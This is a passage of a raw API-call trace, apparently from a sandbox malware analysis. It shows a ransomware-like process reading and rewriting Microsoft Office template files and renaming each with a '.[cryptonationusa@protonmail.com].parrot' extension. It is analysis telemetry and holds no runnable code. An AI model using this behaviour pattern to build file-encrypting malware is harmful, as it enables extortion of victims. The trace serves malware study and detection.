hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0210.178] WriteFile (in: hFile=0x284, lpBuffer=0x5cee60*, nNumberOfBytesToWrite=0x1328, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x5cee60*, lpNumberOfBytesWritten=0x18eed4*=0x1328, lpOverlapped=0x0) returned 1 [0210.180] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0210.180] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1318, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0210.180] CloseHandle (hObject=0x284) returned 1 [0210.180] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0210.180] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x22aa410 [0210.180] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0210.180] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PULLQUOTEBB.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\pullquotebb.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PULLQUOTEBB.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\pullquotebb.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0210.181] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22aa410 | out: hHeap=0x5b0000) returned 1 [0210.181] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0210.181] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a0458 | out: hHeap=0x5b0000) returned 1 [0210.181] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df78 [0210.182] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0210.182] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0210.182] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0210.183] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0210.184] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0210.185] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.185] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x18c0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x18c0, lpOverlapped=0x0) returned 1 [0210.186] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0210.186] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0210.186] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0210.186] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0210.186] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0210.186] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0210.186] GetLastError () returned 0x0 [0210.186] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.186] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0210.186] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0210.187] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0210.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0210.187] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0210.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0210.187] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0210.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0210.187] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0210.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0210.187] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0210.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0210.187] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0210.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0210.187] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0210.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0210.187] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0210.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0210.187] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0210.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0210.187] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0210.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0210.187] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0210.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0210.187] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0210.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0210.187] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0210.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0210.187] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0210.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x2298068 [0210.187] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0210.188] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PULLQUOTEBB.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\pullquotebb.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PULLQUOTEBB.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\pullquotebb.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0210.190] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22aa410 | out: hHeap=0x5b0000) returned 1 [0210.190] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0210.190] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a0458 | out: hHeap=0x5b0000) returned 1 [0210.192] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0210.192] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0210.193] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.193] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbb68, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xbb68, lpOverlapped=0x0) returned 1 [0210.195] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.197] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PULQOT98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\pulqot98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\PULQOT98.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\pulqot98.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0210.199] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0210.199] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0210.199] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31b44a0 | out: hHeap=0x5b0000) returned 1 [0210.203] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0210.203] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0210.237] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.237] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8d1db, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8d1db, lpOverlapped=0x0) returned 1 [0210.255] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.271] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\QP.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\qp.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\QP.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\qp.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0210.276] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0210.276] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0210.276] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0210.280] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0210.280] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0210.296] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.296] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x33e6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x33e6, lpOverlapped=0x0) returned 1 [0210.298] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.303] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\QP.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\qp.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\QP.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\qp.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0210.307] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0210.307] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0210.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a2498 | out: hHeap=0x5b0000) returned 1 [0210.310] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0210.310] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0210.312] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.312] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6f882, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6f882, lpOverlapped=0x0) returned 1 [0210.323] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.333] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\QUIKPUBS.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\quikpubs.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\QUIKPUBS.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\quikpubs.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0210.337] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293e20 | out: hHeap=0x5b0000) returned 1 [0210.337] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22de080 | out: hHeap=0x5b0000) returned 1 [0210.337] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2b30020 | out: hHeap=0x5b0000) returned 1 [0210.341] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0210.341] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0210.343] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.343] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4d57e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4d57e, lpOverlapped=0x0) returned 1 [0210.357] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.366] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\REPTWIZ.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\reptwiz.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\REPTWIZ.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\reptwiz.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0210.373] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0210.373] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0210.390] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.414] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5df4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5df4, lpOverlapped=0x0) returned 1 [0210.472] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.473] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\RES98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\res98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\RES98.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\res98.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0210.484] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0210.484] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0210.485] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.486] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1effa, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1effa, lpOverlapped=0x0) returned 1 [0210.489] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.492] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\RESP98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\resp98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\RESP98.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\resp98.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0210.500] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0210.500] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0210.501] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.501] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2c00, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2c00, lpOverlapped=0x0) returned 1 [0210.503] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.504] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\RESUME.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\resume.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\RESUME.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\resume.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0210.509] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0210.509] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0210.513] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.513] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x85a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x85a, lpOverlapped=0x0) returned 1 [0210.513] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.513] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\RESUME.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\resume.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\RESUME.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\resume.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0210.521] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0210.522] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0210.522] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.523] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2aa, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2aa, lpOverlapped=0x0) returned 1 [0210.523] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.523] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\RSPMECH.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\rspmech.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\RSPMECH.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\rspmech.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0210.528] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0210.528] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0210.530] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.530] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1075e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1075e, lpOverlapped=0x0) returned 1 [0210.533] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.534] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIDBAR98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sidbar98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\SIDBAR98.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\sidbar98.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0210.540] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0210.540] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0210.542] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.542] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4c4d9, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4c4d9, lpOverlapped=0x0) returned 1 [0210.551] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 